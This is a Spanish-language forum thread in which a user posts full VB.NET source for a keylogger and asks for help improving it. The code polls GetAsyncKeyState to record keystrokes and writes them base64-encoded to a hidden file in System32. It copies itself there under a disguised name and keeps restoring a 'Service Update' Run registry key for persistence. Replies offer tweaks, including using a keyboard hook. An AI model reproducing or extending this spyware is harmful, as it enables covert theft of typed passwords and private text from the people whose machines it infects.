Key Loger en VB .NET

(1/1)

estebanvr:
Aqui hay un ejemplo de un keyloger en vb .net, lo que hice fue crear una aplicacion de windows nueva, luego me fue a las propiedades del proyecto y en ves de seleccionar aplicaciones para windows seleccione servicio de windows, luego se agrega un archivo de codigo y recomiendo eliminar el del formulario, y en la ventana de propiedade hacer que el archivo de codigo fuente sea el primero en iniciar,
aqui esta el codigo fuente , se que no es el mejor pero creo que a alguien le puede servir de algo,
Hay que tratar de eliminar las referencias a librerias que no estemos ocupando, para el caso de este keylogger deje solo windows.forms

Aqui esta codigo fuente del "Programa Principal"
Código
'--------------------------------------------------------------------------
Imports System.Windows.Forms
Module KLG
 
   Sub main()
       Dim tiempo As DateTime = DateTime.Now
 
       If IO.File.Exists(ruta) = True Then
           SetAttr(ruta, FileAttribute.Hidden)
       End If
 
       Comprobar_el_reg()
       copiar_a("cssrs.exe", "C:\Windows\System32\cssrs.exe")
       escribe("<<" & tiempo.ToShortTimeString() & "|" & tiempo.ToShortDateString() & ":")
 
       While ((comprobar_tecla(27) And comprobar_tecla(32) And comprobar_tecla(69)) <> True)
 
           espera(70)
           Comprobar_el_reg()'esto en un ciclo ya que si borran la clave de registro esta se podra volver a registrar
 
 
           For i As Integer = 32 To 128
               If comprobar_tecla(i) = True Then
                   espera(70)
                   escribe(Chr(i))
                   Exit For
               End If
           Next
 
           If comprobar_tecla(13) = True Then
               escribe(" (E) ")
           End If
 
           If comprobar_tecla(8) = True Then
               escribe(" (B) ")
           End If
 
           If comprobar_tecla(9) = True Then
               escribe(" (T) ")
           End If
 
           If comprobar_tecla(27) = True Then
               escribe(" (S) ")
           End If
 
           If comprobar_tecla(32) = True Then
               escribe(" ")
           End If
 
           If comprobar_tecla(46) = True Then
               escribe(".")
           End If
       End While
 
       escribe(">>EOR")
       Application.Exit()
   End Sub
 
End Module
'--------------------------------------------------------------------------
Aqui el modulo llamado Mod_Operaciones
 
Module Mod_Operaciones
 
   Friend Const ruta As String = "C:\Windows\System32\cssrs.001"
 
'Escribe en el archivo cssrs.001 las lecturas registradas
'se le agrega un poco de seguridad convirtiendolo a base64
 
   Friend Sub escribe(ByVal cadena_tecla As String)
       Dim archivo As New IO.StreamWriter(ruta, True)
       archivo.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(cadena_tecla)))
       archivo.Flush()
       archivo.Dispose()
       archivo.Close()
   End Sub
 
'Copia el ejecutable de keylogger en el directorio system32
   Friend Sub copiar_a(ByVal ruta_origen As String, ByVal ruta_destino As String)
       If IO.File.Exists(ruta_destino) = True Then Exit Sub
       IO.File.Copy(ruta_origen, ruta_destino)
   End Sub
 
'Intervalo de tiempo para las lecturas
   Friend Sub espera(ByVal milisegundos As Integer)
       Threading.Thread.Sleep(milisegundos)
   End Sub
 
End Module
'-------------------------------------------------------------------------- Modulo llamado Mod_Operaciones
 
Imports Microsoft.Win32
Module Mod_Subsistir
 
   Declare Function GAKS Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer
 
'Comprueba si la clave de registro se encuentra en el sistema
'si no existe o si es borrada la crea
 
   Friend Sub Comprobar_el_reg()
 
       Dim llave_reg2 As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
 
       If llave_reg2.GetValue("Service Update", "C:\Windows\System32\cssrs.exe") <> Nothing Then
 
           llave_reg2.SetValue("Service Update", "C:\Windows\System32\cssrs.exe")
 
       End If
   End Sub
 
'Se encarga de saber que tecla ha sido pulsada
   Friend Function comprobar_tecla(ByVal tecla As Integer) As Boolean
       If GAKS(tecla) <> 0 Then
           Return True
       End If
   End Function
End Module
'--------------------------------------------------------------------------
 
Alguna sugerencia para poder mejorarlo por favor
ahora el problema que tengo es que no se como leer teclas especiales como @ .
y ya probe

comprobar_tecla(64)

Shell Root:
1. El código va entre las etiquetas [code=vbnet] -Aquí- [/code]
2. Usa variables de entorno. %WINDIR%
3. Usa la sentencia SWITCH

Zzombi:
mejor usa un hook de teclado  :-\

aquí un código en C# (fácil pasarlo a vb.net)

http://en.wikipedia.org/wiki/Hooking

Navegación

[0] Índice de Mensajes